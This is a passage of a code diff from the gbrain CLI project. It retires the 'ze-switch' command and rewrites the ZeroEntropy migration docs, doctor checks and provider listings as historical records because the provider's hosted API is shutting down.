@@ -28,43 +30,23 @@ unless the user explicitly opts in via config file or env var.
- `conservative` and `balanced` modes default reranker = false. Nothing
changes for those users without an explicit opt-in.
## What the user can do (optional)
## What the user could do at the time (historical — do not run any of this)
### Try zembed-1 embeddings
### The zembed-1 opt-in (era recipe, now a strand-your-brain trap)
Switching embedding models invalidates the vector index — you'll need to
re-embed. Edit `~/.gbrain/config.json`:
The era's opt-in was a config-file edit pointing `embedding_model` at
`zeroentropyai:zembed-1` (valid Matryoshka dims: 2560, 1280, 640, 320,
160, 80, 40), followed by a key export and a staged re-embed
(`gbrain models doctor`, a small `--stale` smoke, then the full pass).
Running that today points a brain at an API that dies 2026-09-04 — the
maintained path is the off-ramp in `skills/migrations/v0.46.3.0.md`.
```json
{
"embedding_model": "zeroentropyai:zembed-1",
"embedding_dimensions": 2560
}
```
### The zerank-2 opt-in on conservative/balanced (era recipe)
Valid dims: 2560, 1280, 640, 320, 160, 80, 40 (Matryoshka-style; smaller
trades quality for storage). Then:
```bash
export ZEROENTROPY_API_KEY=...
gbrain models doctor # verify config
gbrain embed --stale --limit 50 # smoke a small re-embed
gbrain embed --stale # full re-embed
```
### Try zerank-2 on conservative/balanced
```bash
export ZEROENTROPY_API_KEY=...
gbrain config set search.reranker.enabled true
gbrain models doctor # verify reranker_config + reachability
gbrain query "some query that previously misranked"
```
To opt out:
```bash
gbrain config set search.reranker.enabled false
```
The era's opt-in was `search.reranker.enabled true` with a ZE key set,
verified via `gbrain models doctor`. Enabling reranking TODAY should set
the surviving model first: `gbrain config set search.reranker.model
voyage:rerank-2.5`, then enable.
### Opt out of reranker on tokenmax
+30 -35
View File
@@ -1,45 +1,40 @@
---
name: v0.36.2.0
version: 0.36.2.0
headline: ZeroEntropy is the new default for embedding + reranker
headline: "HISTORICAL: ZeroEntropy was briefly the default for embedding + reranker"
---
# v0.36.2.0 Migration: ZeroEntropy as default
> **HISTORICAL — DO NOT FOLLOW.** ZeroEntropy's hosted API shuts down
> **2026-09-04** and `gbrain ze-switch` now refuses forward use. To LEAVE
> ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
> ZeroEntropy's hosted API shuts down **2026-09-04**; every ze-switch
> command below exits 1 with `reason: provider_sunset` today (the command
> is a pure refusal/redirect shim), and the benchmark pitch below is
> obsolete. To LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
**TL;DR:** v0.36.2.0 makes ZeroEntropy (`zembed-1` at 1280d via Matryoshka, `zerank-2` cross-encoder reranker) the default retrieval stack. Real-corpus benchmark says: 2.2× faster than OpenAI, 2.6× cheaper at regular pricing, wins 11/20 head-to-head queries, reranker reshuffles 60% of top-1 results. New installs land on it automatically. Existing brains see a one-shot upgrade prompt with a cost estimate; default-on-Enter is "stay on current provider" so the safe path is the no-action path.
**TL;DR (historical record):** v0.36.2.0 made ZeroEntropy (`zembed-1` at 1280d via Matryoshka, `zerank-2` cross-encoder reranker) the default retrieval stack, on the strength of a real-corpus benchmark that has since been overtaken by events — the provider announced its shutdown. New installs landed on it automatically. Existing brains saw a one-shot upgrade prompt with a cost estimate; default-on-Enter was "stay on current provider".
This migration is **opt-in for existing brains**. Running `gbrain upgrade` does not silently re-embed your data. The prompt is TTY-only; non-TTY upgrades (CI, cron, docker) print an informational stderr line and skip the switch.
This migration was **opt-in for existing brains**. Running `gbrain upgrade` did not silently re-embed data. The prompt was TTY-only; non-TTY upgrades (CI, cron, docker) printed an informational stderr line and skipped the switch.
## What the agent should do post-upgrade
## What the agent did post-upgrade (v0.36.2 era — every command here exits 1 today)
When the user invokes any gbrain command immediately after `gbrain upgrade` to v0.36.2.0:
When a user invoked any gbrain command immediately after `gbrain upgrade` to v0.36.2.0, the playbook was:
1. **Check whether the prompt has been surfaced yet.** `gbrain ze-switch --dry-run --json` shows the planner state including `ze_switch_offered`, `ze_switch_prompt_shown`, and the comparison numbers. If `ze_switch_offered` is true and `ze_switch_prompt_shown` is false, the user hasn't seen the prompt yet.
1. The agent checked planner state via `ze-switch --dry-run --json` (`ze_switch_offered`, `ze_switch_prompt_shown`, the comparison numbers).
2. **Surface the comparison numbers.** Quote the benchmark from the prompt:
- Wins 11/20 queries head-to-head (OpenAI 6, Voyage 4)
- 442ms avg vs OpenAI 973ms (2.2× faster)
- $0.05/M tokens vs OpenAI $0.13 (2.6× cheaper at regular pricing)
- zerank-2 reshuffles 60% of top-1 results
- Only 10-18% overlap between providers — pairing primary + reranker compounds
2. It surfaced the era's benchmark numbers (head-to-head query wins, latency, price, reranker reshuffle rate, provider overlap).
3. **Recommend switching** unless the user has stated a constraint that makes ZE unsuitable (no internet, regulatory concern with a specific provider, contractual commitment to another stack). When recommending, point them at:
```bash
gbrain ze-switch # interactive prompt
gbrain ze-switch --dry-run # see the plan without applying
```
3. It recommended switching unless the user had a constraint making ZE unsuitable, pointing at the interactive prompt and the dry-run plan.
4. **If the user already declined** (`ze_switch_already_declined` true) and they ask about it later, mention `gbrain ze-switch --force` re-opens the prompt. The 90-day decline window auto-resets after that, so a year-later contributor "we have better benchmarks now" data gets surfaced naturally.
4. For a prior decline, `--force` re-opened the prompt (90-day re-ask window).
5. **If the user switched and now regrets it**, mention `gbrain ze-switch --undo`. Restores their prior model + dim + reranker state with a symmetric cost-warning prompt (re-embedding back is also a real cost).
5. For regret after switching, `--undo` restored the prior model + dim + reranker state behind a cost-warning prompt.
## The CLI surface in full
None of that flow exists anymore: the recommendation aged into a liability when the shutdown was announced, and today the entire surface refuses.
| Command | Effect |
## The CLI surface in full (historical — every row exits 1 with `provider_sunset` today)
| Command | Effect (v0.36.2 era) |
|---|---|
| `gbrain ze-switch` | Interactive prompt (TTY only). Default-on-Enter = stay. |
| `gbrain ze-switch --dry-run` | Print plan as text. Change nothing. |
@@ -48,8 +43,8 @@ When the user invokes any gbrain command immediately after `gbrain upgrade` to v
| `gbrain ze-switch --non-interactive --ignore-missing-key` | Same, but stage the schema change before the key is ready. Embeddings fail loud until key arrives. |
| `gbrain ze-switch --resume` | Complete a half-applied switch (crash recovery). |
| `gbrain ze-switch --force` | Bypass the prompt-shown gate (re-show after `n`). |
| `gbrain ze-switch --undo` | Reverse with cost-warning prompt. |
| `gbrain ze-switch --undo --non-interactive --confirm-reembed` | Scripted undo. The `--confirm-reembed` flag is required (un-doing also pays for re-embed). |
| `gbrain ze-switch --undo` | Reverse with cost-warning prompt. (Today: prints the return-path `gbrain migrate embeddings` command instead of acting.) |
| `gbrain ze-switch --undo --non-interactive --confirm-reembed` | Scripted undo. (Today: prints guidance, exit 1.) |
## Consolidation with the v0.32.7 chunker prompt
@@ -59,8 +54,8 @@ If a brain has BOTH a stale chunker version AND the ZE-switch offered, the `Retr
`gbrain doctor` now runs two new ZE-aware checks:
- **`ze_embedding_health`** — warns if `embedding_model` starts with `zeroentropyai:` but no key is configured (neither env nor `gbrain config set zeroentropy_api_key`). Fix hint points at the setup URL.
- **`embedding_width_consistency`** — asserts the configured `embedding_dimensions` matches the actual `vector(N)` width on `content_chunks.embedding`. Warns on drift. Fix hint suggests `gbrain ze-switch --resume` if drift came from a half-applied switch, or `gbrain config set embedding_dimensions <schema-dim>` to match the existing schema.
- **`ze_embedding_health`** — warns if `embedding_model` starts with `zeroentropyai:` but no key is configured. (At the time the fix hint pointed at the setup URL; today it points at the migration off-ramp.)
- **`embedding_width_consistency`** — asserts the configured `embedding_dimensions` matches the actual `vector(N)` width on `content_chunks.embedding`. Warns on drift. (At the time the fix hint suggested `--resume`; today the check prints an engine-branched recovery recipe — there is no resume.)
## What changed under the hood
@@ -70,21 +65,21 @@ If a brain has BOTH a stale chunker version AND the ZE-switch offered, the `Retr
- Schema transition (when user accepts the switch): DROP indexes → ALTER `content_chunks.embedding` to `vector(1280)` → CREATE INDEX. Atomic inside one `engine.transaction()`. HNSW indexes recreated in the same transaction; no silent slow-search window.
- Three new config keys: `ze_switch_prompt_shown`, `ze_switch_requested`, `ze_switch_applied`. Plus `ze_switch_previous_snapshot` (JSON, captures prior config for `--undo`) and `ze_switch_declined_at` (ISO timestamp for the 90-day re-ask gate).
## What NOT to do
## What NOT to do (historical guardrails for the era's flow)
- Don't run `gbrain ze-switch --non-interactive --ignore-missing-key` for a user without explaining the consequence — every embed call will fail until they set `ZEROENTROPY_API_KEY`. Surface that loudly.
- Don't tell the user the sale price ($0.025/M) is the cost they'll pay long-term. It's a promotional rate. The CHANGELOG and prompt cite the regular $0.05/M as the cost anchor.
- Don't assume the user wants the switch because the comparison numbers favor it. The user owns the decision. The prompt's default-on-Enter is "stay" for exactly this reason.
- The `--ignore-missing-key` staging spelling required explaining that every embed call would fail until the key arrived.
- The sale price was promotional; the regular price was the cost anchor.
- The user owned the switch decision; the prompt's default-on-Enter was "stay" for exactly this reason.
## Why 1280d, not 1024d
The valid ZE Matryoshka dim steps are `2560, 1280, 640, 320, 160, 80, 40`. 1024 (Voyage's step) is NOT on ZE's list — see `src/core/ai/dims.ts:ZEROENTROPY_VALID_DIMS`. 1280 is the step closest to the prior OpenAI 1536d default and stays in the high-recall zone of the Matryoshka curve.
## Verifying the switch
## Verifying the switch (historical — the ze-switch line exits 1 today)
```bash
```text
gbrain doctor # both new checks should be green
gbrain ze-switch --dry-run # status should be skipped_already_applied
gbrain ze-switch --dry-run # (era) status skipped_already_applied; (today) refuses
gbrain models # confirm embedding + reranker defaults
gbrain search "test query" --limit 5 # confirm the reranker is firing
```
+2 -2
View File
@@ -119,9 +119,9 @@
"migrations/v0.33.0.md": "11710cb11d6eb7dc3ea54b764e3c4a25f8679cf76590acd330f97bfa1c684945",
"migrations/v0.33.3.0.md": "188a03ca86a97a9aa697cbbc83cc8ca37843fab24db2bd82f1383c400173d5bd",
"migrations/v0.34.0.0.md": "d421c5ecff0765ac1de3592d3175734db7df52e8658ec101567779c7c56c2db2",
"migrations/v0.35.0.0.md": "1f4083b6447ae694776f35b70ec6c259b03987cb35a8ee4376c8f51db6bb06ce",
"migrations/v0.35.0.0.md": "a87d0f04f5d1d275c2f283c3736f0208bb9e24a540b0ffb79ec9d4c0de90e01f",
"migrations/v0.35.7.0.md": "c6d4454bd39e2aa243b3b3d9bc72fe5a4fd25d097be7be2bb14b25604b5c2cc5",
"migrations/v0.36.2.0.md": "becedef44dc377cf95c83ddc479c9ab19f15a984f716fc0b041ba7cde6886f14",
"migrations/v0.36.2.0.md": "2b3b4cc0dc2e9611b0df9aea0a9cd4281433011c2d88433f768e762b28d56320",
"migrations/v0.36.5.0.md": "a01a722202dfc3c799693596750c8bee611fe4dafe3cb662f6b4cd0b635cb429",
"migrations/v0.40.3.0.md": "5f500f8c543c2b6f41778b0bd3beedada68f7284f7933ad8b769322b433a8fe9",
"migrations/v0.40.5.md": "b9837d52a030517698dfb31c439f562cde60a1015ae488dab09be2c16ff182e5",
+30 -3
View File
@@ -162,6 +162,9 @@ const CLI_ONLY_SELF_HELP = new Set([
// would hide both — `gbrain dream retriage --help` printed the one-line
// dream stub instead of the retriage contract (outside-voice CX9).
'dream',
// ZE interim cleanup: the retired ze-switch shim ships truthful help
// (sunset refusal + canonical migration command); the generic stub hid it.
'ze-switch',
]);
/**
@@ -187,6 +190,9 @@ const SELF_HELP_WITHOUT_ENGINE: Record<string, () => Promise<(engine: never, arg
// runDream accepts BrainEngine | null; --help (and `retriage --help`) is
// answered before any engine-bearing work per the dream.ts IRON RULE.
dream: async () => (await import('./commands/dream.ts')).runDream as never,
// The retired ze-switch shim answers --help engine-free (arg-order adapter
// lives in ze-switch.ts because runZeSwitch takes (args, engine)).
'ze-switch': async () => (await import('./commands/ze-switch.ts')).runZeSwitchSelfHelp as never,
};
/** Returns true when the command's own help was printed. */
@@ -2009,10 +2015,31 @@ async function handleCliOnly(command: string, args: string[]) {
}
if (command === 'ze-switch') {
// v0.36.0.0 — manual ZE-default switch lever. Owns its own engine lifecycle
// to mirror the doctor pattern.
// Retired refusal/redirect shim. Only --undo reads the brain (one config
// row); every other invocation must refuse EVEN ON an unconfigured
// machine — connecting unconditionally turned the refusal into
// "No brain configured" and starved --json callers of the envelope.
const { runZeSwitch } = await import('./commands/ze-switch.ts');
const eng = await connectEngine();
if (!args.includes('--undo')) {
await runZeSwitch(args, null);
return;
}
// --undo reads one config row. An unconfigured machine (or a failed
// connect) must still get the shim's truthful --json refusal envelope —
// connectEngine would print plain "No brain configured" and exit before
// the shim ran, so pre-check the config and degrade to a null engine
// (the shim words that as a read failure).
if (!loadConfig()) {
await runZeSwitch(args, null);
return;
}
let eng: BrainEngine | null = null;
try {
eng = await connectEngine();
} catch {
await runZeSwitch(args, null);
return;
}
try {
await runZeSwitch(args, eng);
} finally {
+27 -6
View File
@@ -249,13 +249,33 @@ export async function checkZeEmbeddingHealth(engine: BrainEngine): Promise<Check
// File plane: zeroentropy_api_key on GBrainConfig (added by C.3).
const fileKey = loadConfigFileOnly()?.zeroentropy_api_key;
if (!envKey && !fileKey) {
// Migration-first: when the provider has an announced shutdown, the fix
// for a missing key is to migrate OFF, not to sign up. The key path
// survives as the secondary note for someone who needs the remaining
// hosted window. (Generic on recipe.sunset so the copy self-corrects if
// the recipe ever changes; the whole check is deleted in v0.47.)
const { getRecipe } = await import('../../../core/ai/recipes/index.ts');
const sunset = getRecipe('zeroentropyai')?.sunset;
if (sunset) {
const { renderCanonicalMigrationCommands } = await import('../../../core/ai/defaults.ts');
return {
name: 'ze_embedding_health',
status: 'warn',
message:
`embedding_model="${model}" but ZEROENTROPY_API_KEY is not set — and the ` +
`hosted API shuts down on ${sunset.date}. Fix: migrate off it: ` +
`${renderCanonicalMigrationCommands().recommendedDryRun}. If you need hosted ` +
`ZeroEntropy for the remaining weeks, set the key via ` +
`\`export ZEROENTROPY_API_KEY=...\` or "zeroentropy_api_key" in ` +
`~/.gbrain/config.json (gbrain config set writes the DB plane, which the embed pipeline ignores).`,
};
}
return {
name: 'ze_embedding_health',
status: 'warn',
message:
`embedding_model="${model}" but ZEROENTROPY_API_KEY is not set. ` +
`Fix: get a key at https://dashboard.zeroentropy.dev and either ` +
`\`export ZEROENTROPY_API_KEY=...\` or edit ~/.gbrain/config.json ` +
`Fix: \`export ZEROENTROPY_API_KEY=...\` or edit ~/.gbrain/config.json ` +
`to add "zeroentropy_api_key": "...". (gbrain config set writes the DB plane, which the embed pipeline ignores.)`,
};
}
@@ -426,10 +446,11 @@ export async function checkProviderSunset(engine: BrainEngine, now: number = Dat
* v0.36.0.0 (A5): embedding_width_consistency doctor check.
*
* Cross-checks that `config.embedding_dimensions` matches the actual
* `vector(N)` width on `content_chunks.embedding`. Drift here means the
* ze-switch was interrupted mid-flight (schema changed but config write
* crashed, or vice versa). Surfaces a paste-ready `gbrain ze-switch
* --resume` hint.
* `vector(N)` width on `content_chunks.embedding`. Drift means a width
* transition was interrupted mid-flight (schema changed but config write
* crashed, or vice versa). Surfaces the engine-kind-branched recovery recipe
* from embeddingMismatchMessage NOT a ze-switch hint; that command is a
* refusal shim now.
*/
export async function checkEmbeddingWidthConsistency(engine: BrainEngine): Promise<Check> {
try {
+86 -33
View File
@@ -12,6 +12,7 @@ import { probeOllama, probeLMStudio } from '../core/ai/probes.ts';
import { loadConfig } from '../core/config.ts';
import { AIConfigError, AITransientError } from '../core/ai/errors.ts';
import { lookupEmbeddingPrice } from '../core/embedding-pricing.ts';
import { renderCanonicalMigrationCommands } from '../core/ai/defaults.ts';
import type { Recipe } from '../core/ai/types.ts';
const SCHEMA_VERSION = 1;
@@ -59,6 +60,78 @@ export function envReady(recipe: Recipe, env: NodeJS.ProcessEnv = process.env):
return required.every(k => !!env[k]);
}
/**
* ONE shared sunset-marker primitive for every human-facing providers surface
* (list status cell, explain table rows, env block header) so the renderings
* can't drift. `sunsetMarkerText` is the string; `sunsetMarker` is the
* recipe-shaped convenience (null for recipes without an announced shutdown).
*/
export function sunsetMarkerText(date: string, replacementEmbedding?: string | null): string {
return `⚠ DEPRECATED — hosted API ends ${date}` + (replacementEmbedding ? `; use ${replacementEmbedding}` : '');
}
export function sunsetMarker(recipe: Pick<Recipe, 'sunset'>): string | null {
if (!recipe.sunset) return null;
return sunsetMarkerText(recipe.sunset.date, recipe.sunset.replacement?.embedding);
}
/**
* Pure formatter for `gbrain providers env <id>` so the output is testable
* without spawning the CLI (runEnv itself process.exits).
*
* Sunset-aware: a provider with an announced shutdown gets the deprecation
* block + the canonical migration command INSTEAD of the signup funnel
* (setup_url / setup_hint) three weeks before a provider dies, "get an API
* key" is the wrong guidance. Key STATUS still renders above so existing
* users can see what's configured.
*/
export function formatEnvOutput(recipe: Recipe, env: NodeJS.ProcessEnv = process.env): string {
const lines: string[] = [];
lines.push(`${recipe.name} (${recipe.id})`);
lines.push('');
const required = recipe.auth_env?.required ?? [];
const optional = recipe.auth_env?.optional ?? [];
if (required.length > 0) {
lines.push('Required:');
for (const k of required) {
lines.push(` ${k.padEnd(32)} ${env[k] ? '✓ set' : '✗ not set'}`);
}
} else {
lines.push('Required: (none)');
}
if (optional.length > 0) {
lines.push('');
lines.push('Optional:');
for (const k of optional) {
lines.push(` ${k.padEnd(32)} ${env[k] ? '✓ set' : '✗ not set'}`);
}
}
const marker = sunsetMarker(recipe);
if (marker) {
const s = recipe.sunset!;
lines.push('');
lines.push(marker);
if (s.message) lines.push(` ${s.message}`);
if (s.replacement) {
const parts: string[] = [];
if (s.replacement.embedding) parts.push(`${s.replacement.embedding} (embedding)`);
if (s.replacement.reranker) parts.push(`${s.replacement.reranker} (reranker)`);
if (parts.length > 0) lines.push(` Replacement: ${parts.join(', ')}`);
}
lines.push(` Migrate: ${renderCanonicalMigrationCommands().recommendedDryRun}`);
return lines.join('\n');
}
if (recipe.auth_env?.setup_url) {
lines.push('');
lines.push(`Setup: ${recipe.auth_env.setup_url}`);
}
if (recipe.setup_hint) {
lines.push('');
lines.push(recipe.setup_hint);
}
return lines.join('\n');
}
/**
* Pure formatter for the recipe matrix shown by `gbrain providers list` and
* the new `init-provider-picker` (D1+D2 picker reuses this so its display
@@ -86,12 +159,10 @@ export function formatRecipeTable(recipes: Recipe[], env: NodeJS.ProcessEnv = pr
const ready = envReady(r, env);
// v0.46.3: a sunsetting provider is flagged in the listing regardless of
// key readiness — "ready" on a dying API is not a state to advertise.
const status = r.sunset
? `⚠ DEPRECATED — hosted API ends ${r.sunset.date}` +
(r.sunset.replacement?.embedding ? `; use ${r.sunset.replacement.embedding}` : '')
: ready
? '✓ ready'
: `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`;
// Marker text is the shared sunsetMarker so list/explain/env can't drift.
const status =
sunsetMarker(r) ??
(ready ? '✓ ready' : `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`);
rows.push(
r.id.padEnd(idCol) +
r.tier.padEnd(18) +
@@ -287,32 +358,7 @@ function runEnv(args: string[]): void {
console.error(`Unknown provider: ${id}. Run \`gbrain providers list\` to see known providers.`);
process.exit(1);
}
console.log(`${recipe.name} (${recipe.id})`);
console.log('');
const required = recipe.auth_env?.required ?? [];
const optional = recipe.auth_env?.optional ?? [];
if (required.length > 0) {
console.log('Required:');
for (const k of required) {
const set = !!process.env[k];
console.log(` ${k.padEnd(32)} ${set ? '✓ set' : '✗ not set'}`);
}
} else {
console.log('Required: (none)');
}
if (optional.length > 0) {
console.log('\nOptional:');
for (const k of optional) {
const set = !!process.env[k];
console.log(` ${k.padEnd(32)} ${set ? '✓ set' : '✗ not set'}`);
}
}
if (recipe.auth_env?.setup_url) {
console.log(`\nSetup: ${recipe.auth_env.setup_url}`);
}
if (recipe.setup_hint) {
console.log(`\n${recipe.setup_hint}`);
}
console.log(formatEnvOutput(recipe));
}
async function runExplain(args: string[]): Promise<void> {
@@ -429,7 +475,14 @@ async function runExplain(args: string[]): Promise<void> {
for (const o of options.filter(x => x.touchpoint === 'embedding')) {
const cost = o.cost_per_1m_tokens_usd !== undefined ? `$${o.cost_per_1m_tokens_usd}/1M` : '—';
const dims = o.dims ? `${o.dims}d` : '—';
console.log(` ${o.env_ready ? '✓' : '✗'} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}`);
// A sunsetting provider must not read as a green-check cheap option in
// the HUMAN table (the deprecation used to live only in cons/JSON).
// Rendered via the shared primitive so list/env/explain can't drift, and
// the lead marker is ⚠ regardless of key readiness — "ready" on a dying
// API is not a state to advertise (mirrors formatRecipeTable's status).
const dep = o.deprecated ? ` ${sunsetMarkerText(o.deprecated.date, o.deprecated.replacement)}` : '';
const lead = o.deprecated ? '⚠' : o.env_ready ? '✓' : '✗';
console.log(` ${lead} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}${dep}`);
}
console.log('');
console.log('Expansion options:');
+237 -204
View File
@@ -1,239 +1,272 @@
/**
* v0.36.0.0 `gbrain ze-switch` CLI lever for the ZeroEntropy default switch.
* `gbrain ze-switch` RETIRED refusal/redirect shim.
*
* Subcommands / flags:
* gbrain ze-switch Run the interactive prompt
* gbrain ze-switch --dry-run Plan only; change nothing
* gbrain ze-switch --json Machine-readable envelope
* gbrain ze-switch --non-interactive Switch without prompting
* (errors if ZEROENTROPY_API_KEY missing
* unless --ignore-missing-key is also set)
* gbrain ze-switch --resume Finish a half-applied switch (recovery)
* gbrain ze-switch --force Bypass the `prompt_shown` gate
* (use after `n` / never-ask-again)
* gbrain ze-switch --undo Reverse: restore prior model + dim
* + reranker state. Cost-warning prompt
* appears before any change.
* gbrain ze-switch --undo --non-interactive --confirm-reembed
* Scripted undo path (also pays for re-embed)
* ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE. Every
* invocation refuses or redirects; nothing here mutates the brain:
*
* gbrain ze-switch --help Truthful usage (exit 0, engine-free)
* gbrain ze-switch --undo [--json] Print the exact migration command that
* returns this brain to its pre-switch
* provider (from the stored snapshot).
* Guidance only exit 1, nothing changes.
* anything else Refusal naming the canonical migration.
*
* Why the legacy actions are gone: the forward switch/resume have been
* sunset-refused since v0.46.3, and the undo ACTION wrote DB-plane config
* (engine.setConfig) that the post-v0.37 file-plane-canonical embed pipeline
* never reads it could rebuild the schema (dropping every vector) while the
* runtime kept resolving the old model. Printing the verified, resumable
* `gbrain migrate embeddings` command is strictly safer than acting.
*
* The whole command is deleted in the v0.47 September removal release.
*/
import type { BrainEngine } from '../core/engine.ts';
import {
planRetrievalUpgrade,
applyRetrievalUpgrade,
resumeRetrievalUpgrade,
undoRetrievalUpgrade,
formatEnvOverrideWarning,
type ApplyResult,
} from '../core/retrieval-upgrade-planner.ts';
import {
runRetrievalUpgradePrompt,
runUndoPrompt,
} from '../core/retrieval-upgrade-prompt.ts';
ZEROENTROPY_SUNSET_DATE,
renderCanonicalMigrationCommands,
} from '../core/ai/defaults.ts';
import { getCliOptions } from '../core/cli-options.ts';
interface Flags {
dryRun: boolean;
json: boolean;
nonInteractive: boolean;
resume: boolean;
force: boolean;
undo: boolean;
confirmReembed: boolean;
ignoreMissingKey: boolean;
ignoreEnvOverride: boolean;
/** Config row written by the pre-v0.46.3 forward switch (the literal matches
* KEY_PREVIOUS_SNAPSHOT in retrieval-upgrade-planner.ts; kept local so the
* shim does not drag the retired planner module into its import graph). */
const KEY_PREVIOUS_SNAPSHOT = 'ze_switch_previous_snapshot';
interface ZeSwitchSnapshot {
embedding_model: string;
embedding_dimensions: number;
search_reranker_enabled?: boolean;
search_reranker_model?: string | null;
}
function parseFlags(args: string[]): Flags {
return {
dryRun: args.includes('--dry-run'),
json: args.includes('--json'),
nonInteractive: args.includes('--non-interactive') || args.includes('--yes'),
resume: args.includes('--resume'),
force: args.includes('--force'),
undo: args.includes('--undo'),
confirmReembed: args.includes('--confirm-reembed'),
ignoreMissingKey: args.includes('--ignore-missing-key'),
// v0.41.2.1: escape hatch for power users running parallel experiments
// with GBRAIN_EMBEDDING_MODEL set. Loud stderr line when used.
ignoreEnvOverride: args.includes('--ignore-env-override'),
};
// Retired forward-switch flags — kept as quoted literals ONLY so the
// generated CLI_FLAG_REGISTRY row keeps accepting them and old scripts reach
// the refusal message naming the migration instead of dying pre-dispatch
// with an unknown-flag error (cli.ts validates against the row BEFORE
// dispatch; the row is generated from these literals, and safety flags like
// '--dry-run' need quoted consumption evidence to survive regeneration).
// The shim never consults them — every non-help/undo invocation refuses.
// '--markdown' rode the pre-shim row (generator over-scan); kept for the
// same old-scripts-reach-the-refusal reason. The registry-superset pin in
// test/ze-switch-cli.test.ts makes any drop of this list loud.
export const RETIRED_FLAGS = [
'--dry-run',
'--resume',
'--force',
'--non-interactive',
'--yes',
'--ignore-missing-key',
'--ignore-env-override',
'--confirm-reembed',
'--markdown',
];
/** The `--brain <id>` selector is parsed and STRIPPED by the global CLI
* option layer before dispatch, so any command this shim tells the user to
* run must carry it explicitly otherwise `ze-switch --brain team-x --undo`
* reads team-x's snapshot but the printed migrate command targets the
* ambient/default brain (a paid re-embed of the wrong corpus). */
function brainSuffix(): string {
const brain = getCliOptions().brain;
return brain ? ` --brain ${brain}` : '';
}
function printHelp() {
process.stdout.write(`Usage: gbrain ze-switch [flags]
const cmds = renderCanonicalMigrationCommands();
process.stdout.write(`Usage: gbrain ze-switch [--undo] [--json]
Switch the brain's embedding + reranker defaults to ZeroEntropy.
RETIRED ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.
Switching a brain ONTO ZeroEntropy is refused (exit 1, reason
provider_sunset), and the legacy dry-run/resume/undo ACTIONS no longer run.
Every invocation refuses or redirects; nothing changes your brain.
Flags:
--dry-run Plan only; change nothing.
--json Machine-readable output.
--non-interactive Skip prompts; apply directly (CI / scripts).
--resume Finish a half-applied switch (crash recovery).
--force Bypass the prompt_shown gate (use after --undo or "never ask").
--undo Reverse the switch: restore prior model + dim + reranker.
--confirm-reembed Required with --undo --non-interactive (re-embed pays cost).
--ignore-missing-key Allow --non-interactive without ZEROENTROPY_API_KEY set.
--ignore-env-override Apply even when GBRAIN_EMBEDDING_* env vars would
override the target at runtime (use if you know why).
--help Show this help.
--undo Print the exact migration command that returns this brain to its
pre-switch provider (read from the stored switch snapshot). No
changes are made; run the printed command yourself. Exit 1.
--json Machine-readable envelope on stdout.
--help This help. Exit 0.
To LEAVE ZeroEntropy (the maintained path):
${cmds.recommendedDryRun} # cost preview
${cmds.recommended}
Playbook: skills/migrations/v0.46.3.0.md
Retired flags still accepted so old scripts get the refusal above instead
of an unknown-flag error: ${RETIRED_FLAGS.join(' ')}
This command is deleted in the September (v0.47) removal release.
`);
}
/**
* Render an ApplyResult; if status is 'refused' (env-override gate),
* write the ASCII warning box to stderr AND exit non-zero. Pure data
* stays in the JSON envelope; the box is for human readers.
*/
function renderApplyResult(result: ApplyResult, json: boolean): void {
if (result.status === 'refused' && result.reason === 'env_override') {
if (json) {
console.log(JSON.stringify(result, null, 2));
} else {
console.error(formatEnvOverrideWarning(result.warning));
console.error(`\nSwitch status: refused (env_override)`);
}
process.exit(1);
}
if (json) {
console.log(JSON.stringify(result, null, 2));
} else {
console.log(`Switch status: ${result.status}`);
}
function refusalEnvelope(
extraMessage?: string,
opts: { omitUndoHint?: boolean } = {},
): {
status: 'refused';
reason: 'provider_sunset';
/** The LIVE canonical migration command — what an agent should run. */
migrate: string;
/** The cost-preview variant — run this first. */
migrate_preview: string;
message: string;
} {
const cmds = renderCanonicalMigrationCommands();
const brain = brainSuffix();
const live = `${cmds.recommended}${brain}`;
const preview = `${cmds.recommendedDryRun}${brain}`;
const message =
(extraMessage ? `${extraMessage}\n` : '') +
`ze-switch is retired: ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.\n` +
`To LEAVE ZeroEntropy: ${preview} # cost preview\n` +
` then: ${live}\n` +
`Playbook: skills/migrations/v0.46.3.0.md` +
// Never point a failed --undo back at --undo (guidance loop).
(opts.omitUndoHint
? ''
: `\nTo see the command that returns this brain to its pre-switch provider: gbrain ze-switch --undo`);
return { status: 'refused', reason: 'provider_sunset', migrate: live, migrate_preview: preview, message };
}
export async function runZeSwitch(args: string[], engine: BrainEngine): Promise<void> {
/** Emit the envelope (stdout JSON or stderr message) and exit 1. */
function emitAndExit(payload: { message: string } & Record<string, unknown>, json: boolean): never {
if (json) {
console.log(JSON.stringify(payload));
} else {
console.error(payload.message);
}
process.exit(1);
}
/** Model ids are `provider:model` tokens; the tail may nest (`ollama:model:tag`,
* `openrouter:google/gemma`, `nvidia:nvidia/nv-embedqa-e5-v5`). The snapshot
* row is data-plane content (writable via config set / direct DB / a mounted
* brain), and its fields land verbatim in a command the user or a downstream
* agent is told to RUN so validate before interpolating and degrade to the
* plain refusal on anything suspicious. Leading alphanumeric + no whitespace
* means a value like `--force-sunset-target` can never inject a flag. */
const MODEL_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*:[A-Za-z0-9._/:-]+$/;
type SnapshotReadResult =
| { kind: 'ok'; snapshot: ZeSwitchSnapshot }
| { kind: 'missing' }
| { kind: 'invalid' }
| { kind: 'read_error' };
function parseSnapshot(raw: string): ZeSwitchSnapshot | null {
try {
const p = JSON.parse(raw) as ZeSwitchSnapshot;
if (
p &&
typeof p.embedding_model === 'string' &&
MODEL_ID_RE.test(p.embedding_model) &&
Number.isInteger(p.embedding_dimensions) &&
p.embedding_dimensions > 0 &&
// A string "false" would pass a truthiness check and then FAIL the
// strict ===false test below, re-enabling a reranker the snapshot says
// was off — require boolean or absent.
(p.search_reranker_enabled == null || typeof p.search_reranker_enabled === 'boolean') &&
(p.search_reranker_model == null ||
(typeof p.search_reranker_model === 'string' && MODEL_ID_RE.test(p.search_reranker_model)))
) {
return p;
}
} catch {
